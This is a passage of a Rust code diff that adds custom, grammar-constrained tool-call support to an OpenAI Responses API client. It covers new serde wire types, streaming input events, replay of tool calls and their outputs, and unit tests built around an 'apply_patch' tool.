@@ -232,22 +257,39 @@ pub fn into_open_ai_response(
 
     let mut input_items = Vec::new();
     let mut replayed_reasoning_item_indexes = HashMap::default();
+    let mut tool_use_kinds_by_id = HashMap::default();
     for (index, message) in messages.into_iter().enumerate() {
         append_message_to_response_items(
             message,
             index,
             &mut replayed_reasoning_item_indexes,
+            &mut tool_use_kinds_by_id,
             &mut input_items,
         );
     }
 
     let tools: Vec<_> = tools
         .into_iter()
-        .map(|tool| crate::responses::ToolDefinition::Function {
-            name: tool.name,
-            description: Some(tool.description),
-            parameters: Some(tool.input_schema),
-            strict: None,
+        .map(|tool| match tool.input {
+            LanguageModelRequestToolInput::Function { input_schema, .. } => {
+                crate::responses::ToolDefinition::Function {
+                    name: tool.name,
+                    description: Some(tool.description),
+                    parameters: Some(input_schema),
+                    strict: None,
+                }
+            }
+            LanguageModelRequestToolInput::Custom { format } => {
+                crate::responses::ToolDefinition::Custom {
+                    name: tool.name,
+                    description: if tool.description.is_empty() {
+                        None
+                    } else {
+                        Some(tool.description)
+                    },
+                    format: format.map(custom_tool_format_into_open_ai),
+                }
+            }
         })
         .collect();
 
@@ -323,6 +365,7 @@ fn append_message_to_response_items(
     message: LanguageModelRequestMessage,
     index: usize,
     replayed_reasoning_item_indexes: &mut HashMap<String, usize>,
+    tool_use_kinds_by_id: &mut HashMap<LanguageModelToolUseId, ReplayToolKind>,
     input_items: &mut Vec<ResponseInputItem>,
 ) {
     let mut content_parts: Vec<ResponseInputContent> = Vec::new();
@@ -386,11 +429,29 @@ fn append_message_to_response_items(
                     input_items,
                 );
                 let call_id = tool_use.id.to_string();
-                input_items.push(ResponseInputItem::FunctionCall(ResponseFunctionCallItem {
-                    call_id,
-                    name: tool_use.name.to_string(),
-                    arguments: tool_use.raw_input,
-                }));
+                match tool_use.input {
+                    LanguageModelToolUseInput::Json(_) => {
+                        tool_use_kinds_by_id.insert(tool_use.id, ReplayToolKind::Function);
+                        input_items.push(ResponseInputItem::FunctionCall(
+                            ResponseFunctionCallItem {
+                                call_id,
+                                name: tool_use.name.to_string(),
+                                arguments: tool_use.raw_input,
+                            },
+                        ));
+                    }
+                    LanguageModelToolUseInput::Text(_) => {
+                        tool_use_kinds_by_id.insert(tool_use.id, ReplayToolKind::Custom);
+                        input_items.push(ResponseInputItem::CustomToolCall(
+                            ResponseCustomToolCallItem {
+                                id: None,
+                                call_id,
+                                name: tool_use.name.to_string(),
+                                input: tool_use.raw_input,
+                            },
+                        ));
+                    }
+                }
             }
             MessageContent::ToolResult(tool_result) => {
                 flush_response_parts(
@@ -424,12 +485,24 @@ fn append_message_to_response_items(
                         ResponseFunctionCallOutputContent::List(parts)
                     }
                 };
-                input_items.push(ResponseInputItem::FunctionCallOutput(
-                    ResponseFunctionCallOutputItem {
-                        call_id: tool_result.tool_use_id.to_string(),
-                        output,
-                    },
-                ));
+                match tool_use_kinds_by_id.get(&tool_result.tool_use_id) {
+                    Some(ReplayToolKind::Custom) => {
+                        input_items.push(ResponseInputItem::CustomToolCallOutput(
+                            ResponseCustomToolCallOutputItem {
+                                call_id: tool_result.tool_use_id.to_string(),
+                                output,
+                            },
+                        ));
+                    }
+                    Some(ReplayToolKind::Function) | None => {
+                        input_items.push(ResponseInputItem::FunctionCallOutput(
+                            ResponseFunctionCallOutputItem {
+                                call_id: tool_result.tool_use_id.to_string(),
+                                output,
+                            },
+                        ));
+                    }
+                }
             }
         }
     }
@@ -443,6 +516,33 @@ fn append_message_to_response_items(
     );
 }
 
+#[derive(Clone, Copy)]
+enum ReplayToolKind {
+    Function,
+    Custom,
+}
+
+fn custom_tool_format_into_open_ai(
+    format: LanguageModelCustomToolFormat,
+) -> crate::responses::CustomToolFormat {
+    match format {
+        LanguageModelCustomToolFormat::Text => crate::responses::CustomToolFormat::Text,
+        LanguageModelCustomToolFormat::Grammar { syntax, definition } => {
+            crate::responses::CustomToolFormat::Grammar {
+                syntax: match syntax {
+                    LanguageModelCustomToolGrammarSyntax::Lark => {
+                        crate::responses::CustomToolGrammarSyntax::Lark
+                    }
+                    LanguageModelCustomToolGrammarSyntax::Regex => {
+                        crate::responses::CustomToolGrammarSyntax::Regex
+                    }
+                },
+                definition,
+            }
+        }
+    }
+}
+
 fn append_reasoning_details_to_response_items(
     reasoning_details: Option<&serde_json::Value>,
     replayed_reasoning_item_indexes: &mut HashMap<String, usize>,
@@ -665,7 +765,7 @@ impl OpenAiEventMapper {
                                     id: entry.id.clone().into(),
                                     name: entry.name.as_str().into(),
                                     is_input_complete: false,
-                                    input,
+                                    input: LanguageModelToolUseInput::Json(input),
                                     raw_input: entry.arguments.clone(),
                                     thought_signature: None,
                                 },
@@ -688,7 +788,7 @@ impl OpenAiEventMapper {
                                 id: tool_call.id.clone().into(),
                                 name: tool_call.name.as_str().into(),
                                 is_input_complete: true,
-                                input,
+                                input: LanguageModelToolUseInput::Json(input),
                                 raw_input: tool_call.arguments.clone(),
                                 thought_signature: None,
                             },
@@ -736,6 +836,7 @@ struct RawToolCall {
 
 pub struct OpenAiResponseEventMapper {
     function_calls_by_item: HashMap<String, PendingResponseFunctionCall>,
+    custom_tool_calls_by_item: HashMap<String, PendingResponseCustomToolCall>,
     reasoning_items: Vec<ResponseReasoningInputItem>,
     current_message_phase: Option<String>,
     pending_stop_reason: Option<StopReason>,
@@ -748,10 +849,17 @@ struct PendingResponseFunctionCall {
     arguments: String,
 }
 
+struct PendingResponseCustomToolCall {
+    call_id: String,
+    name: Arc<str>,
+    input: String,
+}
+
 impl OpenAiResponseEventMapper {
     pub fn new() -> Self {
         Self {
             function_calls_by_item: HashMap::default(),
+            custom_tool_calls_by_item: HashMap::default(),
             reasoning_items: Vec::new(),
             current_message_phase: None,
             pending_stop_reason: None,
@@ -805,6 +913,23 @@ impl OpenAiResponseEventMapper {
                             self.function_calls_by_item.insert(item_id, entry);
                         }
                     }
+                    ResponseOutputItem::CustomToolCall(custom_tool_call) => {
+                        if let Some(item_id) = custom_tool_call.id.clone() {
+                            let call_id = custom_tool_call
+                                .call_id
+                                .clone()
+                                .or_else(|| custom_tool_call.id.clone())
+                                .unwrap_or_else(|| item_id.clone());
+                            let entry = PendingResponseCustomToolCall {
+                                call_id,
+                                name: Arc::<str>::from(
+                                    custom_tool_call.name.clone().unwrap_or_default(),
+                                ),
+                                input: custom_tool_call.input.clone(),
+                            };
+                            self.custom_tool_calls_by_item.insert(item_id, entry);
+                        }
+                    }
                     ResponseOutputItem::Compaction(_) => {
                         events.push(Ok(LanguageModelCompletionEvent::Compaction(
                             CompactionContent::Pending,
@@ -848,7 +973,7 @@ impl OpenAiResponseEventMapper {
                                 id: LanguageModelToolUseId::from(entry.call_id.clone()),
                                 name: entry.name.clone(),
                                 is_input_complete: false,
-                                input,
+                                input: LanguageModelToolUseInput::Json(input),
                                 raw_input: entry.arguments.clone(),
                                 thought_signature: None,
                             },
@@ -873,7 +998,7 @@ impl OpenAiResponseEventMapper {
                                     id: LanguageModelToolUseId::from(entry.call_id.clone()),
                                     name: entry.name.clone(),
                                     is_input_complete: true,
-                                    input,
+                                    input: LanguageModelToolUseInput::Json(input),
                                     raw_input,
                                     thought_signature: None,
                                 },
@@ -892,6 +1017,30 @@ impl OpenAiResponseEventMapper {
                     Vec::new()
                 }
             }
+            ResponsesStreamEvent::CustomToolCallInputDelta { item_id, delta, .. } => {
+                if let Some(entry) = self.custom_tool_calls_by_item.get_mut(&item_id) {
+                    entry.input.push_str(&delta);
+                    return vec![Ok(LanguageModelCompletionEvent::ToolUse(
+                        LanguageModelToolUse {
+                            id: LanguageModelToolUseId::from(entry.call_id.clone()),
+                            name: entry.name.clone(),
+                            is_input_complete: false,
+                            input: LanguageModelToolUseInput::Text(entry.input.clone()),
+                            raw_input: entry.input.clone(),
+                            thought_signature: None,
+                        },
+                    ))];
+                }
+                Vec::new()
+            }
+            ResponsesStreamEvent::CustomToolCallInputDone { item_id, input, .. } => {
+                if let Some(entry) = self.custom_tool_calls_by_item.get_mut(&item_id)
+                    && !input.is_empty()
+                {
+                    entry.input = input;
+                }
+                self.finish_pending_custom_tool_call(&item_id, None)
+            }
             ResponsesStreamEvent::Completed { response } => {
                 self.handle_completion(response, StopReason::EndTurn)
             }
@@ -959,6 +1108,13 @@ impl OpenAiResponseEventMapper {
             ResponsesStreamEvent::OutputItemDone { item, .. } => match item {
                 ResponseOutputItem::Reasoning(reasoning) => self.capture_reasoning_item(&reasoning),
                 ResponseOutputItem::Message(message) => self.capture_message_phase(&message),
+                ResponseOutputItem::CustomToolCall(custom_tool_call) => {
+                    if let Some(item_id) = custom_tool_call.id.as_ref() {
+                        self.finish_pending_custom_tool_call(item_id, Some(&custom_tool_call))
+                    } else {
+                        Vec::new()
+                    }
+                }
                 ResponseOutputItem::Compaction(compaction) => {
                     vec![Ok(LanguageModelCompletionEvent::Compaction(
                         CompactionContent::Encrypted {
@@ -1015,48 +1171,109 @@ impl OpenAiResponseEventMapper {
     ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
         let mut events = Vec::new();
         for item in output {
-            if let ResponseOutputItem::FunctionCall(function_call) = item {
-                let Some(call_id) = function_call
-                    .call_id
-                    .clone()
-                    .or_else(|| function_call.id.clone())
-                else {
-                    log::error!(
-                        "Function call item missing both call_id and id: {:?}",
-                        function_call
-                    );
-                    continue;
-                };
-                let name: Arc<str> = Arc::from(function_call.name.clone().unwrap_or_default());
-                let arguments = &function_call.arguments;
-                self.pending_stop_reason = Some(StopReason::ToolUse);
-                match parse_tool_arguments(arguments) {
-                    Ok(input) => {
-                        events.push(Ok(LanguageModelCompletionEvent::ToolUse(
-                            LanguageModelToolUse {
+            match item {
+                ResponseOutputItem::FunctionCall(function_call) => {
+                    let Some(call_id) = function_call
+                        .call_id
+                        .clone()
+                        .or_else(|| function_call.id.clone())
+                    else {
+                        log::error!(
+                            "Function call item missing both call_id and id: {:?}",
+                            function_call
+                        );
+                        continue;
+                    };
+                    let name: Arc<str> = Arc::from(function_call.name.clone().unwrap_or_default());
+                    let arguments = &function_call.arguments;
+                    self.pending_stop_reason = Some(StopReason::ToolUse);
+                    match parse_tool_arguments(arguments) {
+                        Ok(input) => {
+                            events.push(Ok(LanguageModelCompletionEvent::ToolUse(
+                                LanguageModelToolUse {
+                                    id: LanguageModelToolUseId::from(call_id.clone()),
+                                    name: name.clone(),
+                                    is_input_complete: true,
+                                    input: LanguageModelToolUseInput::Json(input),
+                                    raw_input: arguments.clone(),
+                                    thought_signature: None,
+                                },
+                            )));
+                        }
+                        Err(error) => {
+                            events.push(Ok(LanguageModelCompletionEvent::ToolUseJsonParseError {
                                 id: LanguageModelToolUseId::from(call_id.clone()),
-                                name: name.clone(),
-                                is_input_complete: true,
-                                input,
-                                raw_input: arguments.clone(),
-                                thought_signature: None,
-                            },
-                        )));
-                    }
-                    Err(error) => {
-                        events.push(Ok(LanguageModelCompletionEvent::ToolUseJsonParseError {
-                            id: LanguageModelToolUseId::from(call_id.clone()),
-                            tool_name: name.clone(),
-                            raw_input: Arc::<str>::from(arguments.clone()),
-                            json_parse_error: error.to_string(),
-                        }));
+                                tool_name: name.clone(),
+                                raw_input: Arc::<str>::from(arguments.clone()),
+                                json_parse_error: error.to_string(),
+                            }));
+                        }
                     }
                 }
+                ResponseOutputItem::CustomToolCall(custom_tool_call) => {
+                    events.extend(self.emit_custom_tool_call(custom_tool_call));
+                }
+                _ => {}
             }
         }
         events
     }
 
+    fn emit_custom_tool_call(
+        &mut self,
+        custom_tool_call: &crate::responses::ResponseCustomToolCall,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        let Some(call_id) = custom_tool_call
+            .call_id
+            .clone()
+            .or_else(|| custom_tool_call.id.clone())
+        else {
+            log::error!(
+                "Custom tool call item missing both call_id and id: {:?}",
+                custom_tool_call
+            );
+            return Vec::new();
+        };
+        self.pending_stop_reason = Some(StopReason::ToolUse);
+        let input = custom_tool_call.input.clone();
+        vec![Ok(LanguageModelCompletionEvent::ToolUse(
+            LanguageModelToolUse {
+                id: LanguageModelToolUseId::from(call_id),
+                name: Arc::from(custom_tool_call.name.clone().unwrap_or_default()),
+                is_input_complete: true,
+                input: LanguageModelToolUseInput::Text(input.clone()),
+                raw_input: input,
+                thought_signature: None,
+            },
+        ))]
+    }
+
+    fn finish_pending_custom_tool_call(
+        &mut self,
+        item_id: &str,
+        fallback: Option<&crate::responses::ResponseCustomToolCall>,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        let Some(mut entry) = self.custom_tool_calls_by_item.remove(item_id) else {
+            return Vec::new();
+        };
+        if let Some(fallback) = fallback
+            && !fallback.input.is_empty()
+        {
+            entry.input = fallback.input.clone();
+        }
+        self.pending_stop_reason = Some(StopReason::ToolUse);
+        vec![Ok(LanguageModelCompletionEvent::ToolUse(
+            LanguageModelToolUse {
+                id: LanguageModelToolUseId::from(entry.call_id),
+                name: entry.name,
+                is_input_complete: true,
+                input: LanguageModelToolUseInput::Text(entry.input.clone()),
+                raw_input: entry.input,
+                thought_signature: None,
+            },
+        ))]
+    }
+
     fn capture_reasoning_items_from_output(
         &mut self,
         output: &[ResponseOutputItem],
@@ -1245,15 +1462,17 @@ fn response_reasoning_input_item_from_output(
 #[cfg(test)]
 mod tests {
     use crate::responses::{
-        ReasoningSummaryPart, ResponseError, ResponseFunctionToolCall, ResponseIncompleteDetails,
-        ResponseInputTokensDetails, ResponseOutputItem, ResponseOutputMessage,
-        ResponseReasoningItem, ResponseSummary, ResponseUsage, StreamEvent as ResponsesStreamEvent,
+        ReasoningSummaryPart, ResponseCustomToolCall, ResponseError, ResponseFunctionToolCall,
+        ResponseIncompleteDetails, ResponseInputItem, ResponseInputTokensDetails,
+        ResponseOutputItem, ResponseOutputMessage, ResponseReasoningItem, ResponseSummary,
+        ResponseUsage, StreamEvent as ResponsesStreamEvent, ToolDefinition,
     };
     use futures::{StreamExt, executor::block_on};
     use language_model_core::{
-        LanguageModelImage, LanguageModelRequestMessage, LanguageModelRequestTool,
+        LanguageModelCustomToolFormat, LanguageModelCustomToolGrammarSyntax, LanguageModelImage,
+        LanguageModelRequestMessage, LanguageModelRequestTool, LanguageModelRequestToolInput,
         LanguageModelToolResult, LanguageModelToolResultContent, LanguageModelToolUse,
-        LanguageModelToolUseId, SharedString, Speed,
+        LanguageModelToolUseId, LanguageModelToolUseInput, SharedString, Speed,
     };
     use pretty_assertions::assert_eq;
     use serde_json::json;
@@ -1306,6 +1525,16 @@ mod tests {
         })
     }
 
+    fn response_item_custom_tool_call(id: &str, input: &str) -> ResponseOutputItem {
+        ResponseOutputItem::CustomToolCall(ResponseCustomToolCall {
+            id: Some(id.to_string()),
+            status: Some("in_progress".to_string()),
+            name: Some("apply_patch".to_string()),
+            call_id: Some("call_abc".to_string()),
+            input: input.to_string(),
+        })
+    }
+
     fn response_reasoning_item(
         id: &str,
         summary: Vec<ReasoningSummaryPart>,
@@ -1417,6 +1646,97 @@ mod tests {
         Ok(())
     }
 
+    #[test]
+    fn responses_custom_tool_wire_types_round_trip() -> Result<()> {
+        let tool_json = json!({
+            "type": "custom",
+            "name": "apply_patch",
+            "description": "Apply a patch",
+            "format": {
+                "type": "grammar",
+                "syntax": "lark",
+                "definition": "start: /.+/"
+            }
+        });
+        let tool: ToolDefinition = serde_json::from_value(tool_json.clone())?;
+        assert_eq!(serde_json::to_value(tool)?, tool_json);
+
+        let text_tool_json = json!({
+            "type": "custom",
+            "name": "write_text",
+            "format": { "type": "text" }
+        });
+        let text_tool: ToolDefinition = serde_json::from_value(text_tool_json.clone())?;
+        assert_eq!(serde_json::to_value(text_tool)?, text_tool_json);
+
+        let input_json = json!({
+            "type": "custom_tool_call",
+            "id": "ctc_1",
+            "call_id": "call_abc",
+            "name": "apply_patch",
+            "input": "*** Begin Patch\n*** End Patch"
+        });
+        let input: ResponseInputItem = serde_json::from_value(input_json.clone())?;
+        assert_eq!(serde_json::to_value(input)?, input_json);
+
+        let output_json = json!({
+            "type": "custom_tool_call_output",
+            "call_id": "call_abc",
+            "output": "ok"
+        });
+        let output: ResponseInputItem = serde_json::from_value(output_json.clone())?;
+        assert_eq!(serde_json::to_value(output)?, output_json);
+
+        let output_item_json = json!({
+            "id": "ctc_1",
+            "type": "custom_tool_call",
+            "status": "completed",
+            "call_id": "call_abc",
+            "name": "apply_patch",
+            "input": "*** Begin Patch\n*** End Patch"
+        });
+        let output_item: ResponseOutputItem = serde_json::from_value(output_item_json.clone())?;
+        assert_eq!(serde_json::to_value(output_item)?, output_item_json);
+
+        let delta_json = json!({
+            "type": "response.custom_tool_call_input.delta",
+            "output_index": 0,
+            "item_id": "ctc_1",
+            "sequence_number": 5,
+            "delta": "chunk"
+        });
+        let delta: ResponsesStreamEvent = serde_json::from_value(delta_json)?;
+        assert!(matches!(
+            delta,
+            ResponsesStreamEvent::CustomToolCallInputDelta {
+                output_index: 0,
+                sequence_number: Some(5),
+                ref item_id,
+                ref delta,
+            } if item_id == "ctc_1" && delta == "chunk"
+        ));
+
+        let done_json = json!({
+            "type": "response.custom_tool_call_input.done",
+            "output_index": 0,
+            "item_id": "ctc_1",
+            "sequence_number": 6,
+            "input": "full text"
+        });
+        let done: ResponsesStreamEvent = serde_json::from_value(done_json)?;
+        assert!(matches!(
+            done,
+            ResponsesStreamEvent::CustomToolCallInputDone {
+                output_index: 0,
+                sequence_number: Some(6),
+                ref item_id,
+                ref input,
+            } if item_id == "ctc_1" && input == "full text"
+        ));
+
+        Ok(())
+    }
+
     #[test]
     fn into_open_ai_response_builds_complete_payload() {
         let tool_call_id = LanguageModelToolUseId::from("call-42");
@@ -1426,7 +1746,7 @@ mod tests {
             id: tool_call_id.clone(),
             name: Arc::from("get_weather"),
             raw_input: tool_arguments.clone(),
-            input: tool_input,
+            input: LanguageModelToolUseInput::Json(tool_input),
             is_input_complete: true,
             thought_signature: None,
         };
@@ -1478,12 +1798,12 @@ mod tests {
                     reasoning_details: None,
                 },
             ],
-            tools: vec![LanguageModelRequestTool {
-                name: "get_weather".into(),
-                description: "Fetches the weather".into(),
-                input_schema: json!({ "type": "object" }),
-                use_input_streaming: false,
-            }],
+            tools: vec![LanguageModelRequestTool::function(
+                "get_weather".into(),
+                "Fetches the weather".into(),
+                json!({ "type": "object" }),
+                false,
+            )],
             tool_choice: Some(LanguageModelToolChoice::Any),
             stop: vec!["<STOP>".into()],
             temperature: None,
@@ -1562,6 +1882,166 @@ mod tests {
         assert_eq!(serialized, expected);
     }
 
+    #[test]
+    fn responses_stream_maps_custom_tool_input() {
+        let events = vec![
+            ResponsesStreamEvent::OutputItemAdded {
+                output_index: 0,
+                sequence_number: None,
+                item: response_item_custom_tool_call("ctc_1", ""),
+            },
+            ResponsesStreamEvent::CustomToolCallInputDelta {
+                item_id: "ctc_1".into(),
+                output_index: 0,
+                delta: "*** Begin".into(),
+                sequence_number: Some(1),
+            },
+            ResponsesStreamEvent::CustomToolCallInputDelta {
+                item_id: "ctc_1".into(),
+                output_index: 0,
+                delta: " Patch".into(),
+                sequence_number: Some(2),
+            },
+            ResponsesStreamEvent::CustomToolCallInputDone {
+                item_id: "ctc_1".into(),
+                output_index: 0,
+                input: "*** Begin Patch".into(),
+                sequence_number: Some(3),
+            },
+            ResponsesStreamEvent::OutputItemDone {
+                output_index: 0,
+                sequence_number: None,
+                item: response_item_custom_tool_call("ctc_1", "*** Begin Patch"),
+            },
+            ResponsesStreamEvent::Completed {
+                response: ResponseSummary::default(),
+            },
+        ];
+
+        let mapped = map_response_events(events);
+        assert_eq!(
+            mapped,
+            vec![
+                LanguageModelCompletionEvent::ToolUse(LanguageModelToolUse {
+                    id: LanguageModelToolUseId::from("call_abc"),
+                    name: Arc::from("apply_patch"),
+                    raw_input: "*** Begin".into(),
+                    input: LanguageModelToolUseInput::Text("*** Begin".into()),
+                    is_input_complete: false,
+                    thought_signature: None,
+                }),
+                LanguageModelCompletionEvent::ToolUse(LanguageModelToolUse {
+                    id: LanguageModelToolUseId::from("call_abc"),
+                    name: Arc::from("apply_patch"),
+                    raw_input: "*** Begin Patch".into(),
+                    input: LanguageModelToolUseInput::Text("*** Begin Patch".into()),
+                    is_input_complete: false,
+                    thought_signature: None,
+                }),
+                LanguageModelCompletionEvent::ToolUse(LanguageModelToolUse {
+                    id: LanguageModelToolUseId::from("call_abc"),
+                    name: Arc::from("apply_patch"),
+                    raw_input: "*** Begin Patch".into(),
+                    input: LanguageModelToolUseInput::Text("*** Begin Patch".into()),
+                    is_input_complete: true,
+                    thought_signature: None,
+                }),
+                LanguageModelCompletionEvent::Stop(StopReason::ToolUse),
+            ]
+        );
+    }
+
+    #[test]
+    fn into_open_ai_response_replays_custom_tool_calls() {
+        let tool_call_id = LanguageModelToolUseId::from("call_abc");
+        let raw_input = "*** Begin Patch\n*** End Patch".to_string();
+        let tool_use = LanguageModelToolUse {
+            id: tool_call_id.clone(),
+            name: Arc::from("apply_patch"),
+            raw_input: raw_input.clone(),
+            input: LanguageModelToolUseInput::Text(raw_input.clone()),
+            is_input_complete: true,
+            thought_signature: None,
+        };
+        let tool_result = LanguageModelToolResult {
+            tool_use_id: tool_call_id,
+            tool_name: Arc::from("apply_patch"),
+            is_error: false,
+            content: vec![LanguageModelToolResultContent::Text(Arc::from("ok"))],
+            output: None,
+        };
+
+        let request = LanguageModelRequest {
+            thread_id: None,
+            prompt_id: None,
+            intent: None,
+            messages: vec![LanguageModelRequestMessage {
+                role: Role::Assistant,
+                content: vec![
+                    MessageContent::ToolUse(tool_use),
+                    MessageContent::ToolResult(tool_result),
+                ],
+                cache: false,
+                reasoning_details: None,
+            }],
+            tools: vec![LanguageModelRequestTool {
+                name: "apply_patch".into(),
+                description: "Apply a patch".into(),
+                input: LanguageModelRequestToolInput::Custom {
+                    format: Some(LanguageModelCustomToolFormat::Grammar {
+                        syntax: LanguageModelCustomToolGrammarSyntax::Lark,
+                        definition: "start: /.+/".into(),
+                    }),
+                },
+            }],
+            tool_choice: None,
+            stop: Vec::new(),
+            temperature: None,
+            thinking_allowed: false,
+            thinking_effort: None,
+            speed: None,
+            compact_at_tokens: None,
+        };
+
+        let response =
+            into_open_ai_response(request, "custom-model", false, false, None, None, false);
+        let serialized = serde_json::to_value(response).unwrap();
+        assert_eq!(
+            serialized,
+            json!({
+                "model": "custom-model",
+                "input": [
+                    {
+                        "type": "custom_tool_call",
+                        "call_id": "call_abc",
+                        "name": "apply_patch",
+                        "input": raw_input
+                    },
+                    {
+                        "type": "custom_tool_call_output",
+                        "call_id": "call_abc",
+                        "output": "ok"
+                    }
+                ],
+                "store": false,
+                "stream": true,
+                "parallel_tool_calls": false,
+                "tools": [
+                    {
+                        "type": "custom",
+                        "name": "apply_patch",
+                        "description": "Apply a patch",
+                        "format": {
+                            "type": "grammar",
+                            "syntax": "lark",
+                            "definition": "start: /.+/"
+                        }
+                    }
+                ]
+            })
+        );
+    }
+
     #[test]
     fn into_open_ai_response_replays_encrypted_reasoning_details() {
         let tool_call_id = LanguageModelToolUseId::from("call-42");
@@ -1570,7 +2050,7 @@ mod tests {
             id: tool_call_id,
             name: Arc::from("get_weather"),
             raw_input: tool_arguments.clone(),
-            input: json!({ "city": "Boston" }),
+            input: LanguageModelToolUseInput::Json(json!({ "city": "Boston" })),
             is_input_complete: true,
             thought_signature: None,
         };
@@ -1850,7 +2330,7 @@ mod tests {
                 ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                 None,
                 false,
-            );
+            )?;
 
             let serialized = serde_json::to_value(&chat)?;
             assert_eq!(
@@ -1895,7 +2375,7 @@ mod tests {
             ChatCompletionMaxTokensParameter::MaxTokens,
             None,
             false,
-        );
+        )?;
 
         let serialized = serde_json::to_value(&chat)?;
         assert_eq!(serialized.get("max_completion_tokens"), None);
@@ -2700,8 +3180,7 @@ mod tests {
             }) if id.to_string() == "call_123"
                 && name.as_ref() == "get_weather"
                 && raw_input == ""
-                && input.is_object()
-                && input.as_object().unwrap().is_empty()
+                && matches!(input, LanguageModelToolUseInput::Json(value) if value.as_object().is_some_and(|object| object.is_empty()))
         ));
         assert!(matches!(
             mapped[1],
@@ -3198,7 +3677,7 @@ mod tests {
             id: tool_use_id.clone(),
             name: Arc::from("search"),
             raw_input: tool_arguments.clone(),
-            input: tool_input,
+            input: LanguageModelToolUseInput::Json(tool_input),
             is_input_complete: true,
             thought_signature: None,
         };
@@ -3259,7 +3738,8 @@ mod tests {
             ChatCompletionMaxTokensParameter::MaxCompletionTokens,
             None,
             true,
-        );
+        )
+        .unwrap();
         assert_eq!(
             serde_json::to_value(&result).unwrap()["messages"],
             json!([
@@ -3283,7 +3763,8 @@ mod tests {
             ChatCompletionMaxTokensParameter::MaxCompletionTokens,
             None,
             false,
-        );
+        )
+        .unwrap();
         assert_eq!(
             serde_json::to_value(&result).unwrap()["messages"],
             json!([
diff --git a/crates/open_ai/src/responses.rs b/crates/open_ai/src/responses.rs
index 33ec1dfba4676a..f508a2746057da 100644
--- a/crates/open_ai/src/responses.rs
+++ b/crates/open_ai/src/responses.rs
@@ -66,6 +66,8 @@ pub enum ResponseInputItem {
     Message(ResponseMessageItem),
     FunctionCall(ResponseFunctionCallItem),
     FunctionCallOutput(ResponseFunctionCallOutputItem),
+    CustomToolCall(ResponseCustomToolCallItem),
+    CustomToolCallOutput(ResponseCustomToolCallOutputItem),
     Reasoning(ResponseReasoningInputItem),
     Compaction(ResponseCompactionItem),
 }
@@ -98,6 +100,21 @@ pub struct ResponseFunctionCallOutputItem {
     pub output: ResponseFunctionCallOutputContent,
 }
 
+#[derive(Debug, Serialize, Deserialize)]
+pub struct ResponseCustomToolCallItem {
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub id: Option<String>,
+    pub call_id: String,
+    pub name: String,
+    pub input: String,
+}
+
+#[derive(Debug, Serialize, Deserialize)]
+pub struct ResponseCustomToolCallOutputItem {
+    pub call_id: String,
+    pub output: ResponseFunctionCallOutputContent,
+}
+
 #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
 pub struct ResponseReasoningInputItem {
     #[serde(default, skip_serializing_if = "Option::is_none")]
@@ -157,7 +174,7 @@ pub enum ReasoningSummaryMode {
     Detailed,
 }
 
-#[derive(Serialize, Debug)]
+#[derive(Serialize, Deserialize, Debug)]
 #[serde(tag = "type", rename_all = "snake_case")]
 pub enum ToolDefinition {
     Function {
@@ -169,9 +186,33 @@ pub enum ToolDefinition {
         #[serde(skip_serializing_if = "Option::is_none")]
         strict: Option<bool>,
     },
+    Custom {
+        name: String,
+        #[serde(skip_serializing_if = "Option::is_none")]
+        description: Option<String>,
+        #[serde(skip_serializing_if = "Option::is_none")]
+        format: Option<CustomToolFormat>,
+    },
 }
 
-#[derive(Deserialize, Debug, Clone)]
+#[derive(Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
+#[serde(tag = "type", rename_all = "snake_case")]
+pub enum CustomToolFormat {
+    Text,
+    Grammar {
+        syntax: CustomToolGrammarSyntax,
+        definition: String,
+    },
+}
+
+#[derive(Serialize, Deserialize, Debug, Clone, Copy, PartialEq, Eq)]
+#[serde(rename_all = "lowercase")]
+pub enum CustomToolGrammarSyntax {
+    Lark,
+    Regex,
+}
+
+#[derive(Serialize, Deserialize, Debug, Clone)]
 pub struct ResponseError {
     #[serde(default)]
     pub code: Option<String>,
@@ -343,6 +384,22 @@ pub enum StreamEvent {
         #[serde(default)]
         sequence_number: Option<u64>,
     },
+    #[serde(rename = "response.custom_tool_call_input.delta")]
+    CustomToolCallInputDelta {
+        item_id: String,
+        output_index: usize,
+        delta: String,
+        #[serde(default)]
+        sequence_number: Option<u64>,
+    },
+    #[serde(rename = "response.custom_tool_call_input.done")]
+    CustomToolCallInputDone {
+        item_id: String,
+        output_index: usize,
+        input: String,
+        #[serde(default)]
+        sequence_number: Option<u64>,
+    },
     #[serde(rename = "response.completed")]
     Completed { response: ResponseSummary },
     #[serde(rename = "response.incomplete")]
@@ -360,7 +417,7 @@ pub enum StreamEvent {
     Unknown,
 }
 
-#[derive(Deserialize, Debug, Default, Clone)]
+#[derive(Serialize, Deserialize, Debug, Default, Clone)]
 pub struct ResponseSummary {
     #[serde(default)]
     pub id: Option<String>,
@@ -378,13 +435,13 @@ pub struct ResponseSummary {
     pub service_tier: Option<crate::ServiceTier>,
 }
 
-#[derive(Deserialize, Debug, Default, Clone)]
+#[derive(Serialize, Deserialize, Debug, Default, Clone)]
 pub struct ResponseIncompleteDetails {
     #[serde(default)]
     pub reason: Option<String>,
 }
 
-#[derive(Deserialize, Debug, Default, Clone)]
+#[derive(Serialize, Deserialize, Debug, Default, Clone)]
 pub struct ResponseUsage {
     #[serde(default)]
     pub input_tokens: Option<u64>,
@@ -398,30 +455,32 @@ pub struct ResponseUsage {
     pub total_tokens: Option<u64>,
 }
 
-#[derive(Deserialize, Debug, Default, Clone)]
+#[derive(Serialize, Deserialize, Debug, Default, Clone)]
 pub struct ResponseInputTokensDetails {
     #[serde(default)]
     pub cached_tokens: u64,
 }
 
-#[derive(Deserialize, Debug, Default, Clone)]
+#[derive(Serialize, Deserialize, Debug, Default, Clone)]
 pub struct ResponseOutputTokensDetails {
     #[serde(default)]
     pub reasoning_tokens: u64,
 }
 
-#[derive(Deserialize, Debug, Clone)]
+#[derive(Serialize, Deserialize, Debug, Clone)]
 #[serde(tag = "type", rename_all = "snake_case")]
 pub enum ResponseOutputItem {
     Message(ResponseOutputMessage),
     FunctionCall(ResponseFunctionToolCall),
+    CustomToolCall(ResponseCustomToolCall),
     Reasoning(ResponseReasoningItem),
     Compaction(ResponseCompactionItem),
+    /// Deserialization-only catch-all; must never be serialized back to the API.
     #[serde(other)]
